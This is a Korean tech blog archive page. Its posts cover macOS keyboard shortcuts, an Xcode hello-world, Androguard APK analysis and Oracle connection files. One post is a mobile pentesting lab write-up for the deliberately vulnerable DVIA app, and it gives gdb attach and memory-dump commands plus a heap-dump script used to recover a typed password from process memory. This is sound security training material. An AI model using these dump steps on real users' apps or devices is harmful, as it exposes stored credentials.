fn 키가 키보드의 맨 위 행에 있는 키와 함께 사용되는 경우 다른 기능을 수행하게 됩니다. 예를 들어 키보드 단축키가 control-F2인 경우 키보드에서 fn-control-밝기 키를 누를 수 있습니다. 키보드 맨 위에 있는 밝기 키를 자세히 보면 이 키가 키보드에서 fn을 누르고 있는 경우 기능 키(F2 또는 function 2)로 작동함을 나타내는 F2 기호가 있습니다.

Windows 키를 포함하는 타사 키보드를 사용하는 경우 Alt 키는 option 키를 누를 때와 같은 역할을 하며 Windows 키는 command 키와 같은 역할을 합니다. 시스템 환경설정의 키보드 패널에서 이러한 키가 해석되는 방식을 변경할 수 있습니다. 

오려두기, 복사하기 및 붙이기

이러한 단축키는 대부분의 App에서 선택한 항목을 오리거나 복사하거나 붙이는 데 사용할 수 있습니다. 여기에는 텍스트, 그림, 음악 등이 포함됩니다. Finder에서도 파일을 복사하고 붙여서 파일을 새 위치로 복사할 수 있습니다.

키 조합 역할
command-C 선택한 데이터를 클립보드에 복사
command-X 선택한 항목을 제거하고 사본을 클립보드에 저장
command-V 클립보드 콘텐츠의 사본을 현재 문서 또는 App에 저장(붙이기).

스크린샷 찍기

이러한 단축키를 사용하여 화면에 표시되는 사항을 사진으로 찍습니다. 또한 유틸리티 폴더에 있는 App인 Grab을 사용하여 스크린샷을 찍을 수 있습니다.

키 조합 역할
command-shift-3 화면을 파일로 캡처
command-shift-control-3 화면을 클립보드로 캡처
command-shift-4 화면에서 선택한 부분을 파일로 캡처하거나 스페이스 바를 눌러 윈도우를 캡처
command-shift-control-4 화면에서 선택한 부분을 클립보드로 캡처하거나 스페이스 바를 눌러 윈도우를 캡처

시동 단축키

컴퓨터 시동 방법을 변경하려면 다음 키 조합을 사용합니다. Mac을 시작한 후 즉시 예상된 기능이 작동하거나 나타날 때까지 키 또는 키 조합을 길게 누릅니다. 예를 들어 시동 관리자가 나타날 때까지 시동하는 동안 option 키를 길게 누릅니다.

참고: Apple 이외 다른 제조업체에서 제조한 키보드를 사용하는 경우 alt 키는 일반적으로 option 키와 동일합니다. 이 조합 키가 작동하는 않는 것 같으면 Apple 키보드를 대신 사용해 보십시오.

키 또는 키 조합 역할
option 또는 alt 키 모든 시동 볼륨 표시(시동 관리자)
shift 안전 모드에서 시동합니다
C 부팅 가능한 미디어(DVD, CD, USB 드라이브)로 시동
대상 디스크 모드로 시동
아니요 NetBoot 서버로 시동
X OS X 강제 시동(OS X 이외의 시동 볼륨을 사용할 수 있는 경우)
D Apple Hardware Test 사용
command-R OS X 복구(OS X Lion 이상) 사용
command-option-R 지원되는 컴퓨터에서 인터넷 복구 사용
command-V 상세 모드에서 시동
command-S 단일 사용자 모드에서 시동
command-option-P-R NVRAM 재설정
미디어 추출(⏏) 키, F12 키 또는 마우스나 트랙패드 버튼을 길게 누름 이동식 디스크 추출

잠자기, 종료 및 로그아웃 단축키 

Mac이 시동된 후 컴퓨터를 잠자기, 종료, 로그아웃 상태로 만들거나 재시동하려면 다음 키 조합을 사용합니다.

키 또는 키 조합 역할
전원 버튼 탭하여 전원 켜기, 전원이 켜지면 전원 버튼을 탭하여 Mac을 깨우거나 잠자기 상태로 전환
1.5초 동안 전원 버튼 길게 누르기 재시동/잠자기/종료 대화상자 표시
5초 동안 전원 버튼 길게 누르기 강제로 Mac 전원 끄기
control-전원 버튼

재시동/잠자기/종료 대화상자 표시
command-control-전원 버튼 강제로 Mac 재시동

command-option-전원 버튼

컴퓨터를 잠자기 상태로 전환
command-control-전원 버튼
열려 있는 문서에 대한 변경 사항을 저장할 수 있는 옵션 표시 후 모든 App을 종료하고 컴퓨터 재시동

command-option-control-전원 버튼

열려 있는 문서에 대한 변경 사항을 저장할 수 있는 옵션 표시 후 모든 App을 종료하고 컴퓨터 종료
shift-control-전원 버튼
모든 디스플레이를 잠자기 상태로 전환
command-shift-Q 로그아웃
command-shift-option-Q 즉시 로그아웃

App 단축키

이러한 키보드 단축키는 대부분의 App에서 작동합니다.

키 조합 역할
command-A 가장 앞에 있는 윈도우의 모든 항목 또는 텍스트 선택
command-Z 실행 취소 이전 명령(일부 App은 여러 번의 실행 취소를 허용함)
command-shift-Z 다시 실행. 실행 취소로 취소된 마지막 변경 사항을 되돌림(일부 App은 여러 번의 실행 취소를 허용함)
command-스페이스 바 Spotlight 검색 필드 보기 또는 가리기
(여러 언어를 동시에 사용 중인 경우 이 단축키는 활성화된 스크립트 시스템 간에 회전할 수 있음)
command-option-스페이스 바 Spotlight 검색 결과 윈도우 표시(여러 언어가 설치된 경우 키보드 레이아웃과 스크립트 내의 입력 방법 간에 순환할 수 있음)
command-tab 열려 있는 App 목록에서 최근에 사용된 다음 App으로 순방향 이동
option-미디어 추출(⏏) 보조 광학 미디어 드라이브에서 추출(설치된 경우)
command-밝기 낮추기(F1) 다중 모니터 구성에서 '디스플레이 미러링' 전환
command-밝기 높이기(F2) 대상 디스플레이 모드 전환
command-Mission Control(F3) 데스크탑 보기
command-F5 VoiceOver 켜기/끄기 전환
option-밝기(F2) '디스플레이' 시스템 환경설정 열기
option-Mission Control(F3) Mission Control 환경설정 열기
option-음량 키(F12) 사운드 환경설정 열기
command-빼기(–) 선택한 항목의 크기 축소
command-콜론(:) 철자 및 문법 윈도우 표시
command-세미콜론(;) 문서에서 철자가 틀린 단어 찾기
command-쉼표(,) 전면 App의 환경설정 윈도우 열기
command-물음표(?) 도움말 메뉴 열기
command-더하기(+)
또는 command-shift-등호(=)
선택한 항목의 크기 확대
command-option-D Dock 표시 또는 가리기
command-control-D 선택한 단어의 정의 표시 또는 가리기
command-D 열기 및 저장하기 대화상자에서 데스크탑 폴더 선택
command-delete 삭제 또는 저장 안 함 버튼을 포함하는 대화상자에서 저장 안 함 선택
command-E 찾기에 선택 항목 사용
command-F 찾기 윈도우 열기 또는 문서에서 텍스트 찾기
command-option-F 검색 필드 컨트롤로 이동
command-G 선택 항목의 다음 내용 찾기
command-shift-G 선택 항목의 이전 내용 찾기
command-H 현재 실행 중인 App의 윈도우 가리기
command-option-H 실행 중인 다른 모든 App의 윈도우 가리기
command-option-I 속성 윈도우 표시
command-M 활성 윈도우를 Dock으로 최소화
command-option-M 활성 App의 모든 윈도우를 Dock으로 최소화
command-N 가장 앞에 있는 App에서 새 문서 생성
command-O 가장 앞에 있는 App에서 열려는 문서를 선택할 수 있는 대화상자 표시
command-P 현재 문서 프린트
command-shift-P 문서 매개변수를 지정할 수 있는 윈도우 표시(페이지 설정)
command-Q 가장 앞에 있는 App 종료
command-S 유효 문서 저장
command-shift-S 다음으로 저장 대화상자 표시 또는 현재 문서 복제
command-option-T 도구 막대 보기 또는 가리기
command-W 전면 윈도우 닫기
command-option-W 현재 App의 모든 윈도우 닫기
command-Z 실행 취소 이전 명령(일부 App은 여러 번의 실행 취소를 허용함)
command-shift-Z 다시 실행. 실행 취소로 취소된 마지막 변경 사항을 되돌림(일부 App은 여러 번의 실행 취소를 허용함)
command-option-esc 강제 종료할 App 선택
command-shift-option-esc(3초 동안 누름) 가장 앞에 있는 App 강제 종료

텍스트 작업

필드 또는 문서에서 텍스트를 편집하는 경우 다음 키 조합을 사용합니다.

키 조합 역할
command-B 선택한 텍스트를 굵게 표시하거나 볼드 텍스트 켜기 또는 끄기 간에 전환
command-I 선택한 텍스트를 이탤릭체로 표시하거나 이탤릭체 텍스트 켜기 또는 끄기 간에 전환
command-U 선택한 텍스트에 밑줄을 긋거나 밑줄 긋기 켜기 또는 끄기 간에 전환
command-T 서체 윈도우 표시 또는 가리기
fn-delete 휴대용 Mac의 내장 키보드에 있는 오른쪽 방향으로 삭제
fn-Up 화살표 한 페이지 위쪽으로 스크롤(Page Up 키와 동일)
fn-Down 화살표 한 페이지 아래쪽으로 스크롤(Page Down 키와 동일)
fn-Left 화살표 문서의 처음으로 스크롤(Home 키와 동일)
fn-Right 화살표 문서의 끝으로 스크롤(End 키와 동일)
command-오른쪽 화살표 텍스트 삽입 포인트를 현재 줄의 끝으로 이동
command-왼쪽 화살표 텍스트 삽입 포인트를 현재 줄의 처음으로 이동
command-아래쪽 화살표 텍스트 삽입 포인트를 문서의 끝으로 이동
command-위쪽 화살표 텍스트 삽입 포인트를 문서의 처음으로 이동
option-오른쪽 화살표 텍스트 삽입 포인트를 다음 단어의 끝으로 이동
option-왼쪽 화살표 텍스트 삽입 포인트를 이전 단어의 처음으로 이동
option-delete 커서 왼쪽에 있는 단어와 해당 단어 뒤의 모든 공백 또는 구두점 삭제

command-shift-오른쪽 화살표

삽입 포인트와 현재 줄의 끝 부분 사이에 있는 텍스트 선택(*)
command-shift-왼쪽 화살표 삽입 포인트와 현재 줄의 처음 부분 사이에 있는 텍스트 선택(*)
command-shift-위쪽 화살표 삽입 포인트와 문서의 처음 부분 사이에 있는 텍스트 선택(*)
command-shift-아래쪽 화살표 삽입 포인트와 문서의 끝 부분 사이에 있는 텍스트 선택(*)
shift-왼쪽 화살표 한 문자씩 왼쪽으로 텍스트 선택 부분 확장(*)
shift-오른쪽 화살표 한 문자씩 오른쪽으로 텍스트 선택 부분 확장(*)
shift-위쪽 화살표 텍스트 선택 부분을 줄 위의 동일한 수평 위치에서 가장 가까이 있는 문자 경계로 확장(*)
shift-아래쪽 화살표 텍스트 선택 부분을 줄 아래의 동일한 수평 위치에서 가장 가까이 있는 문자 경계로 확장(*)
shift-option-오른쪽 화살표 텍스트 선택 부분을 현재 단어의 끝 부분으로 확장한 다음 다시 누른 경우 다음 단어의 끝 부분으로 확장(*)
shift-option-왼쪽 화살표 텍스트 선택 부분을 현재 단어의 시작 부분으로 확장한 다음 다시 누른 경우 다음 단어의 시작 부분으로 확장(*)
shift-option-아래쪽 화살표 텍스트 선택 부분을 현재 단락의 끝 부분으로 확장한 다음 다시 누른 경우 다음 단락의 끝 부분으로 확장(*)
shift-option-위쪽 화살표 텍스트 선택 부분을 현재 단락의 시작 부분으로 확장한 후 다시 누를 수 있는 경우 다음 단락의 시작 부분으로 확장(*)
control-A 현재 줄 또는 단락의 처음으로 이동
control-B 한 문자 뒤로 이동
control-D 커서 앞에 있는 문자 삭제
control-E 현재 줄 또는 단락의 처음으로 이동
control-F 한 문자 앞으로 이동
control-H 커서 뒤에 있는 문자 삭제
control-K 커서 앞에 있는 문자부터 줄 또는 단락 끝까지 삭제
control-L 커서 또는 선택 영역을 눈에 보이는 영역의 중앙에 위치
control-N 한 줄 아래로 이동
control-O 커서 뒤로 새 줄 삽입
control-P 한 줄 위로 이동
control-T 커서 뒤에 있는 문자와 커서 앞에 있는 문자를 서로 바꿈
control-V 아래로 이동 
command-{ 선택 항목 왼쪽 정렬
command-} 선택 항목 오른쪽 정렬
command-| 선택 항목 중앙 정렬
command-option-C 선택 항목의 포맷 설정을 복사하여 클립보드에 저장
command-option-V 한 대상체의 스타일을 선택한 대상체에 적용(스타일 붙이기)
command-shift-option-V 주변 텍스트의 스타일을 삽입한 대상체에 적용(스타일 붙이기 및 일치)
command-control-V 선택한 대상체에 포맷 설정 적용(눈금자 붙이기)

손쉬운 사용

다음 키보드 단축키는 키보드 또는 보조 장비로 Mac을 제어하는 데 도움이 됩니다. 다음 단축키 중 일부는 환경설정의 키보드 패널 또는 손쉬운 사용 패널에서 활성화해야 합니다.

손쉬운 사용 및 VoiceOver 키보드 명령

키 조합 역할
command-option-F5 손쉬운 사용 옵션 표시
command-F5 또는 fn-command-F5 VoiceOver 켜기 또는 끄기
option-control-F8 또는 fn-option-control-F8 VoiceOver 유틸리티 열기(VoiceOver가 켜져 있는 경우)
command-option-8 확대/축소 켜기 또는 끄기
command-option-더하기(+) 확대
command-option-빼기(–) 축소
command-option-control-8 화면 색 반전/되돌리기
command-option-control-쉼표(,) 대비 감소 
command-option-control-마침표(.) 대비 증가

참고: VoiceOver 메뉴 및 유틸리티가 작동하도록 하려면 키보드 환경설정에서 '모든 F1, F2 등의 키를 표준 기능 키로 사용'을 활성화해야 합니다.

 

전체 키보드 접근

전체 키보드 접근을 사용하면 키보드로 화면에 있는 항목을 탐색하고 상호 작용할 수 있습니다. 이러한 단축키를 사용하여 텍스트 필드 및 슬라이더와 같은 컨트롤을 선택하고 조정할 수 있습니다. 이 설정은 control-F7 키를 누르거나 시스템 환경설정에 있는 키보드 환경설정의 단축키 패널에서 전체 키보드 접근을 선택하여 전환할 수 있습니다. 

키 조합 역할
다음 컨트롤로 이동
shift-tab 이전 컨트롤로 이동
control-tab 텍스트 필드가 선택된 경우 다음 컨트롤로 이동
shift-control-tab 이전 컨트롤 그룹으로 초점 이동
화살표 키

목록, 탭 그룹 또는 메뉴에서 근처에 있는 항목으로 이동
슬라이더 및 조정자 이동(값을 증가 및 감소하는 데 사용되는 세로 위쪽 및 아래쪽 화살표)

control-화살표 키 다음 필드 근처의 컨트롤로 이동
스페이스 바 강조 표시된 메뉴 항목 선택
return 또는 Enter 기본 버튼을 클릭하거나 기본 동작 수행
Esc '취소' 버튼 클릭 또는
항목을 선택하지 않고 메뉴 닫기
shift-control-F6 이전 패널로 초점 이동
control-F7 윈도우 및 대화상자에서 현재 키보드 접근 모드를 일시적으로 무시
control-F8 메뉴 막대의 상태 메뉴로 이동
command-악센트(`) 가장 앞에 있는 App에서 열려 있는 다음 윈도우 활성화
command-shift-악센트(`) 가장 앞에 있는 App에서 열려 있는 이전 윈도우 활성화
command-option-악센트(`) 윈도우 보관함으로 초점 이동

마우스 또는 트랙패드를 사용하지 않고 메뉴 막대의 메뉴를 탐색할 수 있습니다. 메뉴 막대에 초점을 두려면 control-F2(휴대용 키보드의 경우 fn-control-F2)를 누릅니다. 그런 다음 아래 나열된 키 조합을 사용합니다.

키 조합 역할
왼쪽 화살표 및 오른쪽 화살표 메뉴 간 이동
반품 선택한 메뉴 열기
위쪽 화살표 및 아래쪽 화살표 선택한 메뉴의 메뉴 항목으로 이동
메뉴 항목의 이름 입력 선택한 메뉴의 메뉴 항목으로 건너뜀
반품 메뉴 항목 선택

 

손쉬운 사용 - 마우스 키

손쉬운 사용 환경설정에서 마우스 키가 켜져 있으면 키보드나 숫자 키패드 키를 사용하여 마우스 포인터를 이동할 수 있습니다. 

키 조합 역할
8 또는 숫자 키패드 8 위로 이동
K 또는 숫자 키패드 2 아래로 이동
U 또는 숫자 키패드 4 왼쪽으로 이동
O 또는 숫자 키패드 6 오른쪽으로 이동
J 또는 숫자 키패드 1 하단 왼쪽 대각선으로 이동
L 또는 숫자 키패드 3 하단 오른쪽 대각선으로 이동
7 또는 숫자 키패드 7 상단 왼쪽 대각선으로 이동
9 또는 숫자 키패드 9 상단 오른쪽 대각선으로 이동
I 또는 숫자 키패드 5 마우스 버튼 누르기
M 또는 숫자 키패드 0 마우스 버튼 길게 누르기
. (마침표 키) 마우스 버튼 누름 상태 해제

Finder 단축키

키 조합 역할
command-A 가장 앞에 있는 윈도우의 모든 파일 선택
command-option-A 모든 항목의 선택 해제
command-C 선택한 파일을 복사한 다음 붙이기 또는 이동을 사용하여 파일 이동
command-D 선택한 파일 복제
command-E 추출
command-F 일치하는 모든 Spotlight 속성 찾기
command-I 선택한 파일의 정보 가져오기 윈도우 표시
command-shift-C 컴퓨터 윈도우 열기
command-shift-D 데스크탑 폴더 열기
command-shift-F 나의 모든 파일 윈도우 표시
command-shift-G 폴더로 이동
command-shift-H 현재 로그인된 사용자 계정 홈 폴더 열기
command-shift-I iCloud Drive 열기
command-shift-K 네트워크 윈도우 열기
command-shift-L 다운로드 폴더 열기
command-shift-O 도큐멘트 폴더 열기
command-shift-R AirDrop 윈도우 열기
command-shift-U 유틸리티 폴더 열기
command-control-T 사이드바에 추가(OS X Mavericks)
command-option-I 속성 윈도우 표시 또는 가리기
command-control-I 요약 정보 가져오기
command-option-P 경로 막대 가리기 또는 표시
command-option-S 사이드바 가리기 또는 표시
command-슬래시(/) 상태 막대 가리기 또는 표시
command-J 보기 옵션 표시
command-K 서버에 연결
command-L 선택한 항목의 가상본 만들기
command-N 새로운 Finder 윈도우
command-shift-N 새로운 폴더
command-option-N 새로운 스마트 폴더
command-O 선택한 항목 열기
command-R (가상본의) 원본 보기
command-T 현재 Finder 윈도우에 단일 탭이 열려 있는 경우 탭 막대 표시 또는 가리기
command-shift-T Finder 탭 표시 또는 가리기 
command-option-T 현재 Finder 윈도우에 단일 탭이 열려 있는 경우 도구 막대 가리기 또는 표시
command-V 클립보드에 저장한 파일 사본을 현재 위치로 붙이기
command-option-V 클립보드에 저장한 파일을 원래 위치에서 현재 위치로 이동
command-option-Y 선택한 파일의 훑어보기 슬라이드쇼를 봅니다.
command-1 아이콘으로 보기
command-2 목록으로 보기
command-3 열로 보기
command-4 Cover Flow로 보기(Mac OS X v10.5 이상)
command-쉼표(,) Finder 환경설정 열기
command-왼쪽 괄호([) 이전 폴더로 이동
command-오른쪽 괄호(]) 다음 폴더로 이동
command-위쪽 화살표 현재 폴더를 포함하는 폴더 열기
command-control-위쪽 화살표 현재 폴더를 포함하는 폴더를 새로운 윈도우에 열기
command-아래쪽 화살표 강조 표시된 항목 열기
목록 보기에 있는 오른쪽 화살표 선택한 폴더 열기
목록 보기에 있는 왼쪽 화살표 선택한 폴더 닫기
option-목록 보기의 펼침 삼각형 클릭 선택한 폴더 내에 있는 모든 폴더 열기
option-이중 클릭 현재 윈도우를 닫고 개별 윈도우에서 폴더 열기
command-이중 클릭 별도의 탭 또는 윈도우에서 폴더 열기
command-윈도우 제목 클릭 현재 윈도우를 포함하는 폴더 보기
command-delete 휴지통으로 이동
command-shift-delete 휴지통 비우기
command-shift-option-delete 확인 대화상자를 표시하지 않고 휴지통 비우기
스페이스 바 또는 command-Y 선택한 파일 훑어보기
command 키를 누른 상태에서 드래그 드래그한 항목을 다른 볼륨 또는 위치로 이동
(키를 누르고 있는 동안 포인터가 변경됨)
option 키를 누른 상태에서 드래그 드래그한 항목 복사
(키를 누르고 있는 동안 포인터가 변경됨)
드래그 중 command-option 키 조합 드래그한 항목의 가상본 만들기
(키를 누르고 있는 동안 포인터가 변경됨)



저작자 표시 비영리 동일 조건 변경 허락
신고

'20. > 25. Mac OX' 카테고리의 다른 글

OS X: 키보드 단축키  (0) 2015.07.01
XCode printf("Hello, World!");


MAC OX의 Xcode라는 개발도구를 이용하여 Objective-C 프로그래밍을 진행할것이다.


당연히 모든 개발 언어의 처음은 Hello world를 출력 할 것이다. “Create a new Xcode project”를 선택하여 새로운 프로젝트를 생성한다.


새로운 프로젝트를 생성하면 아래와 같이 템플릿을 선택하기 위한 창이 뜬다. 왼쪽에 OS X > Applicaion > Command Line Tool 을 선택한다.


Product Name : 개발할 제품 명 (HelloWorld)
Organizaion Name : 회사 이름
Organizaion Identifier : 회사 식별자
Bundle Identifier : 자동 생성
Language : 언어 선택 (Objectivie-C)



프로젝트 폴더 저장 위치를 선택한다.



아래와 같이 신규 프로젝트가 생성되었다. 기본적으로 Objective-C 소스는 *.m 파일에 저장되나 보다.



좌측 메뉴에서 HelloWorld > main.m 을 선택하니 아래와 같이 기본적인 Objective-C 소스가 함께 생성되어 있었다.
NSLog(@“Hello, World!”);
C언어에서 사용하는 printf가 Objective-C에서는 NSLog로 사용하는가 보다.



이제 소스도 작성되었고 build를 해야하나 바로 Product > Run 선택해도 무방하다. 처음 Build 시 developer 모드인가 창이 뜨는데 그냥 로그인하고 확인하니 "Build Succeeded"가 뜬다. 



좌측 아래 실행된 Hello, World!가 출력이 되었다.



Object-Oriented Programming, OOP


객체지향 개념을 테스트 하기 위해 MyHelloWorld 객체 생성하기


해당 프로젝트에서 File > New > File 선택한다.



OS X > Source > Cocoa Class 선택한다.



객체 클레스 이름을 작성한다.
Class : 클래스 명



저장 폴더는 이전에 생성한 프로젝트와 동일한 폴더에 저장한다. Group과 Targets은 미리 선택되어 있다.


Create를 선택하면 HelloWorld 프로젝트 내 MyHelloWorld.h와 MyHelloWorld.m 파일이 생성되어 있다.


MyHelloWorld.h를 선택하여 Hello, World!를 출력하기 위한 새로운 메소드를 생성한다.
- (void)printHello;



이제는 MyHelloWorld.h에서 명시한 메소드를 구현할 차례이다. Xcode는 사용자가 소스코드를 작성하면 사용할 유용 클레스나 함수등 출력하여 준다.


이번엔 MyHellWorld.m을 선택하여 이전에 명시한 printHello 메소드를 구현해준다. 이전에 작성한 Hello, World! 동일하게 작성하면 제대로 빌드되었는지 확인이 불가능하므로 뒤에 using OOP를 입력하여 준다.



이제 다시 HelloWorld 프로젝트 내 main.m 파일로 돌아와서 이전에 작성한 Hello, World!는 주석처리하고 새로 작성한 메소드를 작성 후 실행한다.





저작자 표시 비영리 동일 조건 변경 허락
신고

'00. > 99. ETC' 카테고리의 다른 글

XCode printf("Hello, World!");  (0) 2015.03.12
ASCII Code 아스키코드  (0) 2013.10.18
Sublime Text에서 Androguard plugin 설치 및 사용법


Androguard 툴은 애플리케이션 분석 및 apk 파일 리버싱 엔지니어링에 주로 초점되어 있으며, 안드로이드 애플리케이션 평가용으로 사용된다.

툴은 파이선으로 되어있으며 명령어 프롬프트를 이용하여 apk 파일에 접근이 가능하다. 

Installation 설치

우선 플러그인이 설치 가능한 Sublime text 버전을 설치해야한다.

Sublime Text version 2 : http://www.sublimetext.com/2

또한, Androguard plugin 집 파일을 다운받아야 한다.

Portable Version (포터블 버전)
Sublime Text를 다운받은 후 1번은 실행해야 필요한 폴더가 생성된다. 
이전에 다운받은 ag-st-1.9.zip 파일을 압축을 해제하고 아래 폴더 위치로 복사한다.
+ Portable Sublime\Data\Packages\

Usage 사용법

Androuard Plugin 사용법은 안드로이드 apk 파일을 Sublime Text 애플리케이션에 드래그하여 넣는다. 아래 이미지와 같이 Sublime Text에 APK가 몇분만에 로드되었다.



Ctrl + F5 키 조합으로 Androguard plugin을 활성화하고 APK 파일 분석을 시작할 수 있다.


APK 파일 내 가장 중요한 파일은 분홍색으로 표시되며, 추가로 분석이 가능하다. 가장 먼저 AndroidManifest.xml 파일을 확인한다. mainfest를 통해 애플리케이션에 필요한 권한 식별, 사용 할 main activity, 모든 activity 검색, 컨텐츠 제공자와 수신자의 정보등 애플리케이션 구동 및 여러 정보를 표시하고 있다.


원본 AndroidManifest.xml에 접근을 원할 경우 단순히 F5를 누르면 원래 형식의 Manifest에 접근 가능하다.


다시 분석중인 애플리케이션 메인페이지로 돌아간다. 애플리케이션 내 모든 Class 파일을 포함하고 있는 classes.dex 파일을 더블클릭한다. 모바일 애플리케이션의 사이즈에 따라서 Sublime Test가 정지되는 것처럼 보일 수 있으나 기달리면 분석이 완료됩니다. 분석이 끝나면 새로운 페이지가 열리며, 애플리케이션 내 모든 class가 포함하는 메소드와 필드를 확인 가능하다.


아무 method를  더블 클릭하면, Dalvik bytecode format으로 디컴파일된 코드를 확인 가능하다.


F5를 누르면, 디컴파일된 클레스가 java와 비슷한 코드로 변경되는 것을 확인 가능하다.


메소드 내에서 Ctrl+F6을 누른다면 해당 메소드를 호출하는 모든 함수를 확인 가능하다.
[이미지 없음]

마지막으로 Ctrl+F7을 누르면 지금 메소드를 호출하는 함수가 포함된 클래스들을 볼 수 있다.
[이미지 없음]

Androguard plugin을 통하여 안드로이드 애플리케이션 정보 수집 및 컴파일하는 과정에 크게 도움을 줄 수 있으며, 악성코드 분석 및 모바일 앱 침투 시험에 도움을 줄 수 있는 훌륭한 툴이라고 판단한다.


저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 41. Android' 카테고리의 다른 글

[Android Exploit] Stagefright 취약점  (0) 2015.11.16
Android Tool  (0) 2015.09.17
Sublime Text에서 Androguard plugin 설치 및 사용법  (1) 2015.03.05
[Android] 안드로이드에 python 설치  (0) 2015.02.12
Unicode 한글  (0) 2015.01.30
BlueStacks 루팅 후 Root Explorer APK 설치  (0) 2014.04.19

안드로이드 Python 설치


Scripting Layer for Android brings scripting languages to Android.

https://code.google.com/p/android-scripting/


android-scripting

https://code.google.com/p/android-scripting/downloads/detail?name=PythonForAndroid_r4.apk


















저작자 표시 비영리 동일 조건 변경 허락
신고

Unicode 한글

40./41. Android 2015.01.30 16:06
Insert title here 한글 -> 유니코드 결과 :

유니코드 -> 한글 결과 :
저작자 표시 비영리 동일 조건 변경 허락
신고

[DVIA] 11. Sensitive Information in memory


메모리에 중요 정보 노출


111. Sensitive Information in memory




Q1. A couple of properties with the name "Password" & "Username"

몇몇 속성의 이름은 "Password""Username" 


Q2. An instance variable named "passwd" 

인스턴트 변수 명은 passwd이다.


# pe -ef | grep Damn


# gdb -p 1200


(gdb) b malloc

(gdb) c

(gdb) finish - > 사용하지 말 것!!


(gdb) i r r0

(gdb) i mach-region 0x00000000 0xFFFFFFFF

(gdb) dump memory [메모리 덤프 명] 0x00000000 0xFFFFFFFF

+ (gdb) info mach-regions : 메모리 맵 및 구역 속성 확인

+ (gdb) info mach-regions 0x00000000[address] : 특정 address가 속해있는 구역의 특성

+ (gdb) info mach-tasks : attach 할 프로세스 정보 확인

+ (gdb) info mach-task [PID] : 하나의 프로세스[PID]에 대한 정보 확인



(gdb) q


덤프 생성 확인


Hex Editor를 이용하여 덤프를 확인하였으나, 메모리 내 "Password" & "Username"확인하지 못했지만 인스턴트 변수는 확인(DVIA 를 사용한 후 메모리 덤프 추천 ex, Runtime Maniulation에 Login Method 등)


패스워드가 안나오는걸 보니 이건 아니듯한데..


[추가] 메모르 덤프 쉘 스크립트


메모리 덤프 소스를 약간 수정해서 만든 쉘 스크립트



dump.sh


일단은 DVIA 애플리케이션에서 Appication Patching 파트 내 Login Method 1 기능을 이용하여 로그인 시도한다. 메모리 내 Heap 영역은 사용자가 애플리케이션을 실행한 후 사용된 정보들이 동적으로 기록되는 영역이다.


이제 위에서 다운받은 쉘 스크립트를 iDevice에 삽입한다. 

처음 삽입한 쉘 스크립트에 실행 권한이 없으므로 권한을 부여하며, 힙 덤프를 추출할 애플리케이션 바이너리 명칭을 획득한다. 


# chmod 777 dump.sh

# ps -ef | grep Damn

# ./dump.sh DamnVulnerableIOSApp


해당 폴더 하위에 애플리케이션 이름으로 생성된 폴더가 보이며, 하위에는 heap 덤프를 한 파일들이 존재한다. 해당 파일 내 이전에 로그인 시도한 패스워드 기록이 남아있는 것을 확인 가능하다.


원본 다운로드 : https://github.com/NetSPI/heapdump-ios

저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12

iOS GNU Debugger 설치


설치 환경 : iOS 8.1.2 (iPhone 5)

추가 소스 : http://cydia.radare.org/





저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12

오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora)



 
♣ listener.ora
- 위치: 서버에서 $ORACLE_HOME/network/admin/listener.ora
- 오라클 서버에서 클라이언트의 요청을 듣고, 클라이언트와의 통신 환경을 설정하는 파일
- 오라클 서버에 존재, 오라클 클라이언트에서 서버로 접속할 때 필요한 프로토콜 및 포트 정보등을 설정하는 파일
- 설정형식:
    LISTENER = 
        (DESCRIPTION_LIST = 
              (DESCRIPTION = 
                  (ADDRESS_LIST = 
                        (ADDRESS = (PROTOCOL = TCP)(HOST = 호스트ip)(PORT = 포트번호)) 
                  ) 
                     )
         ) 
     SID_LIST_LISTENER = 
        (SID_LIST = 
            (SID_DESC = 
                 (SID_NAME = SID_name) 
                 (ORACLE_HOME = 오라클위치) 
            ) 
        ) 
. LISTENER : 리스너 이름이며 다른 이름으로 설정 가능. SID_LIST_리스너명 항목에서 리스너명과 동일
. ADDRESS_LIST : ADDRESS들의 모임이며 여러 개의 ADDRESS를 동시에 설정 가능
. ADDRESS : 데이터베이스 서버의 주소이며 프로토콜, 서버명 및 사용포트로 구성된다.
. SID_LIST_LISTENER : 리스너가 서비스하는 데이터베이스 정보를 설정하며 SID_LIST_리스너명으로 설정
. SID_LIST : 해당 리스너 프로세스가 하나 이상의 데이터베이스를 서비스 할 경우에 해당 부분에 여러개의 SID_DESC를 등록한다.
. SID_NAME : 리스너의 접속을 허용하는 데이터베이스의 SID 명을 지정한다.
 
- 상태 확인 command : lsnrctl status

 ♣ tnsnames.ora
- 위치: 클라이언트에서 $ORACLE_HOME/network/admin/tnsnames.ora
- 클라이언트에서 오라클 서버로 접속할 때 필요한 프로토콜 및 포트번호, 서버주소, 인스턴스등을 설정해주는 파일
- 설정형식:
      LINUXORCL =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 122.99.166.149)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = LINUXORCL)
    )
  )
 
. LINUXORCL : 서비스이름
. DESCRIPTION : 접속하고자 하는 대상 데이터베이스 정보
. ADDRESS : 접속하고자 하는 데이터베이스 서버의 리스너를 호출하기 위한 주소정보
. CONNECT_DATA : SERVICE_NAME 옵션을 이용하여 접속할 리스너 프로세스가 사용하는 서비스 이름을 지정하거나 또는 SID옵션을 이용하여 데이터베이스의 SID명을 지정
- 상태 확인 command : insping 서비스 name

♣ sqlnet.ora
-위치 : 서버에서 $ORACLE_HOME/network/admin
-클라이언트가 오라클 서버로의 접속 방식을 설정하는 파일
-설정 형식 :
